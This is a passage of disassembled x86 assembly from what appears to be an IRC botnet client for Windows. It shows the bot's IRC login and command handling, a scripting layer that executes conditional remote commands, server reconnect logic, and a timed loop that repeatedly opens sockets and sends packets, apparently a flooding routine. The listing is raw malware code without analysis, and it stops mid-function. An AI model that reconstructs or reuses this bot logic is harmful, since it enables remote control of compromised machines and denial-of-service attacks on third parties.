sub_40735A+A84j ; sub_40735A+B8Cj push dword ptr [esi+4] push offset dword_41388C jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_407F45: ; CODE XREF: sub_40735A+B6Bj cmp edi, dword_41387C jnz loc_408028 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_4083EE push eax call sub_410826 ; strlen cmp eax, 0Ah pop ecx jbe loc_4083EE push dword ptr [esi+4] call sub_410826 ; strlen push 4 push offset a2002 ; "2002" push dword ptr [esi+4] mov edi, eax call sub_410AFA ; memcmp add esp, 10h test eax, eax jnz loc_40801B mov eax, [esi+4] add eax, edi mov cl, [eax-9] mov byte ptr [ebp+var_C], cl mov cl, [eax-8] mov byte ptr [ebp+var_C+1], cl mov byte ptr [ebp+var_C+2], bl mov cl, [eax-7] mov byte ptr [ebp+var_C+3], cl mov cl, [eax-6] mov [ebp+var_8], cl mov [ebp+var_7], bl mov cl, [eax-4] mov [ebp+var_6], cl mov cl, [eax-3] mov [ebp+var_5], cl mov [ebp+var_4], bl mov cl, [eax-2] mov [ebp+var_3], cl mov al, [eax-1] mov [ebp+var_2], al lea eax, [ebp+var_3] push eax mov [ebp+var_1], bl call sub_407290 pop ecx push eax lea eax, [ebp+var_6] push eax call sub_407290 pop ecx push eax lea eax, [ebp+var_C+3] push eax call sub_407290 pop ecx push eax lea eax, [ebp+var_C] push eax call sub_407290 pop ecx push eax lea eax, [ebp+var_1BC] push dword ptr [esi+4] push offset dword_413844 push eax call sub_408D50 add esp, 1Ch jmp loc_4083EE ; --------------------------------------------------------------------------- loc_40801B: ; CODE XREF: sub_40735A+C32j push dword ptr [esi+4] push offset dword_413828 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_408028: ; CODE XREF: sub_40735A+BF1j cmp edi, dword_41381C jnz loc_4080EC call sub_41084A ; clock mov [ebp+arg_0], eax xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax mov [ebp+arg_14], ebx mov byte ptr [ebp+arg_18+3], bl call sub_410850 ; memset add esp, 0Ch mov [ebp+var_10], 2 call sub_41084A ; clock sub eax, [ebp+arg_0] mov edi, 3E8h cmp eax, edi jnb short loc_4080D9 loc_40806A: ; CODE XREF: sub_40735A+D73j push 0FFFFh push 1 call sub_40AADE pop ecx pop ecx push eax call ds:dword_411248 ; htons push 4 push ebx mov [ebp+var_E], ax call sub_40315E pop ecx mov [ebp+var_C], eax pop ecx push ebx push 2 push 2 call ds:dword_41122C ; socket mov esi, eax lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_411208 ; connect push ebx lea eax, [ebp+arg_18+3] push 1 push eax push esi call ds:dword_411220 ; send push esi call ds:dword_411240 ; closesocket add [ebp+arg_14], 2Bh call sub_41084A ; clock sub eax, [ebp+arg_0] cmp eax, edi jb short loc_40806A mov eax, [ebp+arg_14] cmp eax, 400h ja short loc_4080DE loc_4080D9: ; CODE XREF: sub_40735A+D0Ej mov eax, 400h loc_4080DE: ; CODE XREF: sub_40735A+D7Dj shr eax, 0Ah push eax push offset dword_413804 jmp loc_4079E3 ; --------------------------------------------------------------------------- loc_4080EC: ; CODE XREF: sub_40735A+CD4j cmp edi, dword_4137FC jz loc_408362 cmp edi, dword_4137F0 jz loc_408362 cmp edi, dword_4137E4 jnz short loc_408129 push dword ptr [esi+0Ch] lea eax, [ebp+var_1BC] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40EC6F loc_408121: ; CODE XREF: sub_40735A+3C7j ; sub_40735A+41Cj ... add esp, 10h jmp loc_4083EE ; --------------------------------------------------------------------------- loc_408129: ; CODE XREF: sub_40735A+DB0j cmp edi, dword_4137DC jz loc_408351 cmp edi, dword_4137D0 jz loc_408351 cmp edi, dword_4137C8 jz loc_408340 cmp edi, dword_4137BC jz loc_408340 cmp edi, dword_4137AC jnz short loc_408198 push eax push offset a9252 ; "9252" call sub_4035FB pop ecx mov esi, eax pop ecx lea eax, [ebp+var_1BC] push esi push offset dword_412B28 push eax call sub_408D50 add esp, 0Ch test esi, esi jz loc_4083EE push esi call sub_4038E1 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_408198: ; CODE XREF: sub_40735A+E05j cmp edi, dword_413798 jnz short loc_4081B1 lea eax, [ebp+var_1BC] push eax call sub_4062EC jmp loc_4083ED ; --------------------------------------------------------------------------- loc_4081B1: ; CODE XREF: sub_40735A+E44j cmp edi, dword_413790 jz short loc_40822A cmp edi, dword_413784 jz short loc_40822A cmp edi, dword_41377C jnz loc_4083EE mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_4083EE cmp [esi+8], ebx jz loc_4083EE push 2 push offset aId ; "id" push eax call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_408206 push dword ptr [esi+8] push offset byte_418BF8 call sub_410820 ; _mbscpy pop ecx pop ecx loc_408206: ; CODE XREF: sub_40735A+E9Bj push offset aUsername ; "username" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4083EE push dword ptr [esi+8] push offset byte_418D78 jmp loc_40788D ; --------------------------------------------------------------------------- loc_40822A: ; CODE XREF: sub_40735A+E5Dj ; sub_40735A+E65j mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz short loc_40823F push esi call sub_41088C ; atoi pop ecx mov [ebp+arg_14], eax jmp short loc_408242 ; --------------------------------------------------------------------------- loc_40823F: ; CODE XREF: sub_40735A+ED7j mov [ebp+arg_14], ebx loc_408242: ; CODE XREF: sub_40735A+EE3j call sub_40639B mov edi, 15180h xor edx, edx mov esi, edi mov ecx, eax div esi xor edx, edx mov esi, 0E10h mov ebx, esi push 3Ch mov [ebp+arg_18], eax mov eax, ecx mov ecx, edi div ecx mov ecx, edx xor edx, edx mov eax, ecx div ebx xor edx, edx mov [ebp+var_14], eax mov eax, ecx mov ecx, esi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+var_18], eax mov eax, [ebp+arg_14] cmp [ebp+arg_18], eax jb loc_4083EE call sub_40640D xor edx, edx mov ebx, edi mov ecx, eax push 3Ch div ebx xor edx, edx mov [ebp+arg_10], eax mov eax, ecx div edi mov edi, esi mov ecx, edx xor edx, edx mov eax, ecx div edi xor edx, edx mov [ebp+arg_8], eax mov eax, ecx div esi pop ecx push 1 mov eax, edx xor edx, edx div ecx mov edx, offset byte_417B60 mov ecx, offset dword_4131C0 mov [ebp+arg_14], edx mov ebx, eax pop eax cmp ebx, eax jz short loc_4082DC mov [ebp+arg_14], ecx loc_4082DC: ; CODE XREF: sub_40735A+F7Dj cmp [ebp+arg_8], eax mov [ebp+arg_0], edx jz short loc_4082E7 mov [ebp+arg_0], ecx loc_4082E7: ; CODE XREF: sub_40735A+F88j cmp [ebp+arg_10], eax mov [ebp+arg_C], edx jz short loc_4082F2 mov [ebp+arg_C], ecx loc_4082F2: ; CODE XREF: sub_40735A+F93j cmp [ebp+var_18], eax mov edi, edx jz short loc_4082FB mov edi, ecx loc_4082FB: ; CODE XREF: sub_40735A+F9Dj cmp [ebp+var_14], eax mov esi, edx jz short loc_408304 mov esi, ecx loc_408304: ; CODE XREF: sub_40735A+FA6j cmp [ebp+arg_18], eax jnz short loc_40830B mov ecx, edx loc_40830B: ; CODE XREF: sub_40735A+FADj push [ebp+arg_14] lea eax, [ebp+var_1BC] push ebx push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_10] push edi push [ebp+var_18] push esi push [ebp+var_14] push ecx push [ebp+arg_18] push offset dword_4136F8 push eax call sub_408D50 add esp, 38h jmp loc_4083EE ; --------------------------------------------------------------------------- loc_408340: ; CODE XREF: sub_40735A+DEDj ; sub_40735A+DF9j lea eax, [ebp+var_1BC] push eax call sub_40605E jmp loc_4083ED ; --------------------------------------------------------------------------- loc_408351: ; CODE XREF: sub_40735A+DD5j ; sub_40735A+DE1j lea eax, [ebp+var_1BC] push eax call sub_405BB3 jmp loc_4083ED ; --------------------------------------------------------------------------- loc_408362: ; CODE XREF: sub_40735A+D98j ; sub_40735A+DA4j push offset dword_41796C push 398h push 0 lea eax, [ebp+var_1BC] push offset dword_4136D4 push eax call sub_408D50 loc_40837F: ; CODE XREF: sub_40735A+749j add esp, 14h jmp short loc_4083EE ; --------------------------------------------------------------------------- loc_408384: ; CODE XREF: sub_40735A+A47j ; sub_40735A+A53j push offset aQuitChangingSe ; "QUIT :changing server" call sub_408E60 push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call sub_408BA7 jmp loc_408121 ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_40735A+A10j ; sub_40735A+A1Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1BC] push eax call sub_4018D5 loc_4083B3: ; CODE XREF: sub_40735A+B3j ; sub_40735A+2A6j ... pop ecx jmp short loc_4083ED ; --------------------------------------------------------------------------- loc_4083B6: ; CODE XREF: sub_40735A+957j ; sub_40735A+963j ... push offset aQuitExitting ; "QUIT :exitting" loc_4083BB: ; CODE XREF: sub_40735A+8C7j call sub_408E60 jmp short loc_4083ED ; --------------------------------------------------------------------------- loc_4083C2: ; CODE XREF: sub_40735A+4BAj ; sub_40735A+4C6j ... push dword ptr [esi+14h] lea eax, [ebp+var_1BC] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40E629 jmp loc_4078BA ; --------------------------------------------------------------------------- loc_4083E2: ; CODE XREF: sub_40735A+357j ; sub_40735A+363j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_408EC8 loc_4083ED: ; CODE XREF: sub_40735A+71j ; sub_40735A+2BFj ... pop ecx loc_4083EE: ; CODE XREF: sub_40735A+E7j ; sub_40735A+133j ... pop edi pop esi pop ebx leave retn sub_40735A endp ; =============== S U B R O U T I N E ======================================= sub_4083F3 proc near ; CODE XREF: sub_40849F+320p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_4083F7: ; CODE XREF: sub_4083F3+10j mov cl, [eax] cmp cl, 20h jnz short locret_408405 test cl, cl jz short locret_408405 inc eax jmp short loc_4083F7 ; --------------------------------------------------------------------------- locret_408405: ; CODE XREF: sub_4083F3+9j ; sub_4083F3+Dj retn sub_4083F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408406 proc near ; DATA XREF: sub_4087CE+4Eo var_52C = byte ptr -52Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_187 = byte ptr -187h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 52Ch push esi push 327h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_4] mov esi, offset asc_413DEC ; ";" push eax lea eax, [ebp+var_328] push esi push eax call sub_405733 add esp, 1Ch loc_408445: ; CODE XREF: sub_408406+84j test eax, eax jz short loc_40848C loc_408449: ; CODE XREF: sub_408406+49j cmp byte ptr [eax], 20h jnz short loc_408451 inc eax jmp short loc_408449 ; --------------------------------------------------------------------------- loc_408451: ; CODE XREF: sub_408406+46j push eax lea eax, [ebp+var_187] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" lea eax, [ebp+var_52C] push 200h push eax call sub_41089E ; _snprintf lea eax, [ebp+var_52C] push eax call sub_4098BB lea eax, [ebp+var_4] push eax push esi push 0 call sub_405733 add esp, 24h jmp short loc_408445 ; --------------------------------------------------------------------------- loc_40848C: ; CODE XREF: sub_408406+41j push [ebp+var_32C] call sub_406753 pop ecx xor eax, eax pop esi leave retn 4 sub_408406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40849F proc near ; CODE XREF: sub_4087CE+6p var_1D4 = byte ptr -1D4h var_54 = byte ptr -54h var_34 = byte ptr -34h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1D4h push ebx push esi mov esi, [ebp+arg_0] push edi test esi, esi jz loc_4087C7 cmp byte ptr [esi], 28h jnz loc_4087C7 inc esi push offset asc_413E54 ; ")" push esi call sub_410898 ; strstr pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz loc_4087C7 sub eax, esi lea ecx, [eax+1] mov eax, 180h cmp ecx, eax ja short loc_4084E8 mov eax, ecx loc_4084E8: ; CODE XREF: sub_40849F+45j push eax lea eax, [ebp+var_1D4] push esi push eax call sub_4052A6 push 1 lea eax, [ebp+var_1D4] push 1 push eax call sub_4053BA lea eax, [ebp+arg_0] mov ebx, offset asc_413E50 ; "&&" push eax lea eax, [ebp+var_1D4] push ebx push eax call sub_405733 add esp, 24h loc_40851F: ; CODE XREF: sub_40849F+316j test eax, eax jz loc_4087BA loc_408527: ; CODE XREF: sub_40849F+8Ej cmp byte ptr [eax], 20h jnz short loc_40852F inc eax jmp short loc_408527 ; --------------------------------------------------------------------------- loc_40852F: ; CODE XREF: sub_40849F+8Bj lea ecx, [ebp+var_54] push ecx lea ecx, [ebp+var_14] push ecx lea ecx, [ebp+var_34] push ecx push offset a32s16s32s ; "%32s %16s %32s" push eax call sub_410892 ; sscanf add esp, 14h cmp eax, 3 jnz loc_4087C7 lea eax, [ebp+var_34] push eax call sub_41088C ; atoi mov edi, eax lea eax, [ebp+var_54] push eax call sub_41088C ; atoi pop ecx mov esi, eax test edi, edi pop ecx jnz loc_40863C lea eax, [ebp+var_34] push offset dword_412F1C push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40863C lea eax, [ebp+var_34] push offset aUptime ; "$uptime" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4085B1 call sub_40639B xor edx, edx mov ecx, 15180h div ecx jmp loc_40863A ; --------------------------------------------------------------------------- loc_4085B1: ; CODE XREF: sub_40849F+FDj lea eax, [ebp+var_34] push offset aVersion ; "$version" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4085CC mov edi, 398h jmp short loc_40863C ; --------------------------------------------------------------------------- loc_4085CC: ; CODE XREF: sub_40849F+124j lea eax, [ebp+var_34] push offset aFree_0 ; "$free" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4085E7 call sub_406096 jmp short loc_40863A ; --------------------------------------------------------------------------- loc_4085E7: ; CODE XREF: sub_40849F+13Fj lea eax, [ebp+var_34] push offset aLatency ; "$latency" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408602 call sub_405C57 jmp short loc_40863A ; --------------------------------------------------------------------------- loc_408602: ; CODE XREF: sub_40849F+15Aj lea eax, [ebp+var_34] push offset aFirewall ; "$firewall" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40861D call sub_403289 jmp short loc_40863A ; --------------------------------------------------------------------------- loc_40861D: ; CODE XREF: sub_40849F+175j lea eax, [ebp+var_34] push offset aIpv6 ; "$ipv6" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4087C7 call sub_4033B0 loc_40863A: ; CODE XREF: sub_40849F+10Dj ; sub_40849F+146j ... mov edi, eax loc_40863C: ; CODE XREF: sub_40849F+CDj ; sub_40849F+E5j ... test esi, esi jnz loc_40870E lea eax, [ebp+var_54] push offset dword_412F1C push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40870E lea eax, [ebp+var_54] push offset aUptime ; "$uptime" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408683 call sub_40639B xor edx, edx mov ecx, 15180h div ecx jmp loc_40870C ; --------------------------------------------------------------------------- loc_408683: ; CODE XREF: sub_40849F+1CFj lea eax, [ebp+var_54] push offset aVersion ; "$version" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40869E mov esi, 398h jmp short loc_40870E ; --------------------------------------------------------------------------- loc_40869E: ; CODE XREF: sub_40849F+1F6j lea eax, [ebp+var_54] push offset aFree_0 ; "$free" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4086B9 call sub_406096 jmp short loc_40870C ; --------------------------------------------------------------------------- loc_4086B9: ; CODE XREF: sub_40849F+211j lea eax, [ebp+var_54] push offset aLatency ; "$latency" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4086D4 call sub_405C57 jmp short loc_40870C ; --------------------------------------------------------------------------- loc_4086D4: ; CODE XREF: sub_40849F+22Cj lea eax, [ebp+var_54] push offset aFirewall ; "$firewall" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4086EF call sub_403289 jmp short loc_40870C ; --------------------------------------------------------------------------- loc_4086EF: ; CODE XREF: sub_40849F+247j lea eax, [ebp+var_54] push offset aIpv6 ; "$ipv6" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4087C7 call sub_4033B0 loc_40870C: ; CODE XREF: sub_40849F+1DFj ; sub_40849F+218j ... mov esi, eax loc_40870E: ; CODE XREF: sub_40849F+19Fj ; sub_40849F+1B7j ... lea eax, [ebp+var_14] push offset asc_413E00 ; "==" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40872A cmp edi, esi jnz loc_4087C7 loc_40872A: ; CODE XREF: sub_40849F+281j lea eax, [ebp+var_14] push offset asc_413DFC ; "!=" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408746 cmp edi, esi jz loc_4087C7 loc_408746: ; CODE XREF: sub_40849F+29Dj lea eax, [ebp+var_14] push offset asc_413DF8 ; ">" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40875E cmp edi, esi jbe short loc_4087C7 loc_40875E: ; CODE XREF: sub_40849F+2B9j lea eax, [ebp+var_14] push offset asc_413DF4 ; ">=" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408776 cmp edi, esi jb short loc_4087C7 loc_408776: ; CODE XREF: sub_40849F+2D1j lea eax, [ebp+var_14] push offset dword_41394C push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40878E cmp edi, esi jnb short loc_4087C7 loc_40878E: ; CODE XREF: sub_40849F+2E9j lea eax, [ebp+var_14] push offset asc_413DF0 ; "<=" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4087A6 cmp edi, esi ja short loc_4087C7 loc_4087A6: ; CODE XREF: sub_40849F+301j lea eax, [ebp+arg_0] push eax push ebx push 0 call sub_405733 add esp, 0Ch jmp loc_40851F ; --------------------------------------------------------------------------- loc_4087BA: ; CODE XREF: sub_40849F+82j mov eax, [ebp+var_4] inc eax push eax call sub_4083F3 pop ecx jmp short loc_4087C9 ; --------------------------------------------------------------------------- loc_4087C7: ; CODE XREF: sub_40849F+11j ; sub_40849F+1Aj ... xor eax, eax loc_4087C9: ; CODE XREF: sub_40849F+326j pop edi pop esi pop ebx leave retn sub_40849F endp ; =============== S U B R O U T I N E ======================================= sub_4087CE proc near ; CODE XREF: sub_40735A+A37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] call sub_40849F mov edi, eax pop ecx test edi, edi jz short loc_408829 push 327h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_408829 push 180h lea eax, [esi+4] push edi push eax call sub_4052A6 push [esp+14h+arg_0] lea eax, [esi+184h] push eax call sub_403E60 add esp, 14h push edi push offset aExecutingComma ; "Executing command(s): %s" push 0 push esi push offset sub_408406 call sub_40663C add esp, 14h loc_408829: ; CODE XREF: sub_4087CE+10j ; sub_4087CE+21j pop edi pop esi retn sub_4087CE endp ; =============== S U B R O U T I N E ======================================= sub_40882C proc near ; CODE XREF: sub_401B81+77p ; sub_408F9D+461p ... mov eax, dword_4186D4 retn sub_40882C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408832 proc near ; CODE XREF: sub_408BA7+10p ; sub_408BA7+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi mov edi, offset byte_418448 jz short loc_408881 push [ebp+arg_0] push offset dword_4185C8 call sub_410820 ; _mbscpy cmp [ebp+arg_4], ebx pop ecx pop ecx jz short loc_40885D push [ebp+arg_4] jmp short loc_408862 ; --------------------------------------------------------------------------- loc_40885D: ; CODE XREF: sub_408832+24j push offset a6667 ; "6667" loc_408862: ; CODE XREF: sub_408832+29j mov ebx, offset dword_4186C8 push ebx call sub_410820 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_40887A push [ebp+arg_8] jmp short loc_4088D6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_408832+41j push offset byte_417B60 jmp short loc_4088D6 ; --------------------------------------------------------------------------- loc_408881: ; CODE XREF: sub_408832+10j xor esi, esi cmp off_4177B8, ebx jz short loc_408898 mov eax, offset off_4177B8 loc_408890: ; CODE XREF: sub_408832+64j add eax, 0Ch inc esi cmp [eax], ebx jnz short loc_408890 loc_408898: ; CODE XREF: sub_408832+57j call sub_40AB05 xor edx, edx div esi lea esi, [edx+edx*2] shl esi, 2 push off_4177B8[esi] push offset dword_4185C8 call sub_410820 ; _mbscpy push off_4177BC[esi] mov ebx, offset dword_4186C8 push ebx call sub_410820 ; _mbscpy mov esi, off_4177C0[esi] add esp, 10h test esi, esi jz short loc_4088DE push esi loc_4088D6: ; CODE XREF: sub_408832+46j ; sub_408832+4Dj push edi call sub_410820 ; _mbscpy pop ecx pop ecx loc_4088DE: ; CODE XREF: sub_408832+A1j push offset dword_4185C8 call sub_40AC15 push ebx call sub_40AC15 push edi call sub_40AC15 add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_408832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408BA7+B9p ; sub_408F9D+4BFp var_238 = byte ptr -238h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 238h lea eax, [ebp+var_238] push esi push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_A0] push eax call sub_404354 add esp, 0Ch cmp byte_418448, 0 jz short loc_40894C mov esi, offset byte_418448 push esi call sub_40AC4E pop ecx push esi push offset aPassS ; "PASS %s" call sub_408E60 push esi call sub_40AC15 add esp, 0Ch loc_40894C: ; CODE XREF: sub_4088FC+2Ej xor esi, esi cmp [ebp+arg_0], esi jz short loc_4089D0 cmp byte_418BF8, 0 jz short loc_40896A lea eax, [ebp+var_120] push offset byte_418BF8 push eax jmp short loc_408976 ; --------------------------------------------------------------------------- loc_40896A: ; CODE XREF: sub_4088FC+5Ej lea eax, [ebp+var_120] push eax push offset byte_418BF8 loc_408976: ; CODE XREF: sub_4088FC+6Cj call sub_410820 ; _mbscpy cmp byte_418D78, 0 pop ecx pop ecx jz short loc_408994 lea eax, [ebp+var_238] push offset byte_418D78 push eax jmp short loc_4089A0 ; --------------------------------------------------------------------------- loc_408994: ; CODE XREF: sub_4088FC+88j lea eax, [ebp+var_238] push eax push offset byte_418D78 loc_4089A0: ; CODE XREF: sub_4088FC+96j call sub_410820 ; _mbscpy pop ecx lea eax, [ebp+var_238] pop ecx push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_408E60 add esp, 14h loc_4089D0: ; CODE XREF: sub_4088FC+55j cmp [ebp+arg_4], esi jz loc_408BA4 cmp [ebp+arg_0], esi jz short loc_4089FD cmp byte_418B78, 0 jz short loc_4089FD push offset byte_418B78 push offset dword_413DA8 call sub_408E60 pop ecx pop ecx jmp loc_408BA4 ; --------------------------------------------------------------------------- loc_4089FD: ; CODE XREF: sub_4088FC+E0j ; sub_4088FC+E9j call sub_40639B xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_4], eax jnb short loc_408A4D call sub_404691 test eax, eax jnz short loc_408A4D lea eax, [ebp+var_A0] push offset loc_4177DC push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_A0] push eax call sub_40AC4E lea eax, [ebp+var_A0] push eax call sub_408F4C add esp, 10h jmp loc_408B7F ; --------------------------------------------------------------------------- loc_408A4D: ; CODE XREF: sub_4088FC+115j ; sub_4088FC+11Ej call sub_4045E4 lea eax, [ebp+var_20] push eax call sub_40587E test eax, eax pop ecx jnz short loc_408A70 lea eax, [ebp+var_20] push offset aUnk ; "UNK" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_408A70: ; CODE XREF: sub_4088FC+162j call sub_406096 mov ecx, 400h cmp eax, ecx jbe short loc_408A85 call sub_406096 jmp short loc_408A87 ; --------------------------------------------------------------------------- loc_408A85: ; CODE XREF: sub_4088FC+180j mov eax, ecx loc_408A87: ; CODE XREF: sub_4088FC+187j shr eax, 0Ah push ebx mov [ebp+arg_0], eax call sub_405C57 cmp eax, 2EEh mov ebx, offset aB ; "B" jnb short loc_408AA4 mov ebx, offset aA ; "A" loc_408AA4: ; CODE XREF: sub_4088FC+1A1j cmp eax, 1F4h jnb short loc_408AB0 mov ebx, offset aG ; "G" loc_408AB0: ; CODE XREF: sub_4088FC+1ADj push edi push 24h pop ecx xor eax, eax lea edi, [ebp+var_1B0] mov [ebp+var_1B4], 94h rep stosd lea eax, [ebp+var_1B4] push eax call ds:dword_411034 ; GetVersionExA cmp [ebp+var_1B0], 5 pop edi jnz short loc_408AEB cmp [ebp+var_1AC], 1 jnz short loc_408AEB push 1 pop esi loc_408AEB: ; CODE XREF: sub_4088FC+1E1j ; sub_4088FC+1EAj push 5Ah push 41h call sub_40AADE pop ecx pop ecx push eax push 5Ah push 41h call sub_40AADE pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_0] lea eax, [ebp+var_20] push 5Dh push [ebp+arg_4] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_A0] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_410844 ; sprintf add esp, 34h cmp byte_41786C, 0 pop ebx jz short loc_408B7F mov esi, offset dword_4177EC push offset byte_41786C push esi call sub_410820 ; _mbscpy push esi call sub_40AC4E add esp, 0Ch cmp byte_4178EC, 0 jz short loc_408B7F mov esi, offset dword_418A78 push offset byte_4178EC push esi call sub_410820 ; _mbscpy push esi call sub_40AC4E add esp, 0Ch loc_408B7F: ; CODE XREF: sub_4088FC+14Cj ; sub_4088FC+246j ... lea eax, [ebp+var_A0] push eax push offset dword_413DA8 call sub_408E60 lea eax, [ebp+var_A0] push eax push offset byte_418B78 call sub_410820 ; _mbscpy add esp, 10h loc_408BA4: ; CODE XREF: sub_4088FC+D7j ; sub_4088FC+FCj pop esi leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= sub_408BA7 proc near ; CODE XREF: sub_40735A+103Dp ; sub_408F9D+3B8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push [esp+10h+arg_8] push [esp+14h+arg_4] push [esp+18h+arg_0] call sub_408832 push dword_4186D4 call sub_403D27 mov edi, offset dword_4185C8 mov ebp, 0EA60h push edi call sub_40AC4E mov esi, offset dword_4186C8 push esi call sub_40AC4E mov ebx, 2710h push ebx push 1 push esi push edi call sub_403BBB push edi mov dword_4186D4, eax call sub_40AC15 push esi call sub_40AC15 add esp, 30h loc_408C05: ; CODE XREF: sub_408BA7+B3j cmp dword_4186D4, 0 jnz short loc_408C5C xor eax, eax push eax push eax push eax call sub_408832 add esp, 0Ch push ebp call ds:dword_4110A4 ; Sleep cmp ebp, 0A4CB80h jge short loc_408C30 add ebp, 0EA60h loc_408C30: ; CODE XREF: sub_408BA7+81j push edi call sub_40AC4E push esi call sub_40AC4E push ebx push 1 push esi push edi call sub_403BBB push edi mov dword_4186D4, eax call sub_40AC15 push esi call sub_40AC15 add esp, 20h jmp short loc_408C05 ; --------------------------------------------------------------------------- loc_408C5C: ; CODE XREF: sub_408BA7+65j push 1 push 1 call sub_4088FC pop ecx pop ecx pop edi pop esi pop ebp pop ebx retn sub_408BA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C6C proc near ; CODE XREF: sub_401B81+14Dp ; sub_40735A+8A6p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aNoticeS ; "NOTICE %s :" push eax call sub_410844 ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_410B00 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_412214 ; "\r\n" push eax call sub_410856 ; _mbscat lea eax, [ebp+var_1000] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_4186D4 call sub_403D54 add esp, 34h leave retn sub_408C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408CDE proc near ; CODE XREF: sub_401B81+184p ; sub_40287C+10Ep 